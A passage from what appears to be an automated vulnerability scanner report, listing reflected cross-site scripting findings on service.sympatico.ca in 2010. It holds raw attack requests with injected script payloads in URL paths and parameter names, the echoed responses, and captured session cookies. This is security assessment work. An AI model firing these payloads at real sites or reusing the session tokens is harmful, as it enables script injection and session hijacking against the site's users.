Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:04 GMT
Connection: close
Set-Cookie: SMSESSION=0ceAdvHQjSqX3YL4H1Y5WYq5sc7VlzBN61Yj2Oh/1+ZfILhG6bglSNovgPS0laegoF8YXNGIEw3NE0gnRe466t57wfHwL6aez+ov/f06RiNBz24E4hu7oqFQ9tvaRWHM/mDlchy7XVjRx2i2rTeKMIjZmCHP5UFU9TQ3ne55BMNvNE366gSXmjisSIYw+2LfseVF7yjPBil1Kea9ORQSFLk4NyvNOm/UL+sBB3ryKYfQOIH74Un/oEPqlLEyaKD1jf36zVUPLhv0aL+ytHP8MhUy9bahB3knY30rsGkSCUKDcy28M1TBjw==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:05 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:05 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:05 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:05 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:05 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:05 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:05 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:05 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:05 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:05 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:05 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:05 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:05 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:05 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
vice.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/iconsa8bda"><script>alert(1)</script>2251eb549a7/vi_topNavFaq.png" />
...[SNIP]...

2.147. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavFaq.png [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavFaq.png

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dddec"><script>alert(1)</script>53d7986b947 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavFaq.pngdddec"><script>alert(1)</script>53d7986b947 HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:13 GMT
Connection: close
Set-Cookie: SMSESSION=t3oLeWVFR7BLgFrULjtaDyBBlwbzQV+ogJ0D78ykvSH2+6sGww1uvAW7ZMSdPl7dIvMW54bPAI2k/tZjzF+RLrHsw/4awjY2yNaQFpjk2zabuJVc2Fl6A68YU4YG5+llnvpMjp71PUdg9ynwfhd6eoRtxhldceF8RkBnQ8+NFEtzIEY0QucGZyqmNcgrQ65kbVyJUUlCfKUx5+jPiPRgNMudam84ZGazG9y+TFrfgot9bOf4NZBHZIo9G5WVGaAEvmymzFXdv7XEp4TRL+g/aAiG67J3U5KxcOatyXN4EfbCTqZo7cnKqQ==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:14 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:14 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:14 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:14 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:14 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:14 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:14 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:14 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:14 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:14 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:14 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:14 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:14 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:14 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavFaq.pngdddec"><script>alert(1)</script>53d7986b947" />
...[SNIP]...

2.148. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavFaq.png [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavFaq.png

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2c88d"><script>alert(1)</script>ca43a356479 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavFaq.png?2c88d"><script>alert(1)</script>ca43a356479=1 HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:16:38 GMT
Connection: close
Set-Cookie: SMSESSION=3XYtw4wsQEMKvUDwWRqCLxKe0HnvAudzXU/HENkh1nKmV9A1JkGHXhZp3W4U99r3ppcwAGCUy5Dqr/sJSCMgwZ43x+mIf+pOSJGtkYmOakZP7BeoUT/CGPyyl4IY0lbzU+vkZMsZ0TS6VOPPpVIJ4Xw/ED36/6EWozsoa8BeXWy36wUskDeTN4VM/OhcjHfbabjlzsi+7cPQu3tuHKcrPB/aTsEBT/EiHP8E+bxe39Gr3VFgl6tqImGLJDIOoVPh3MUo6jh3zqoTpF1VnmyRfbRc1vd4KYrlJkiLAEilMa240dI8+ZGiuw==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:16:39 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:16:39 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:16:39 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:16:39 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:16:39 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:16:39 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:16:39 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:16:39 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:16:39 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:16:39 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:16:39 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:16:39 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:16:39 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:16:39 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavFaq.png?2c88d"><script>alert(1)</script>ca43a356479=1" />
...[SNIP]...

2.149. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavHomephone.png [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavHomephone.png

Issue detail

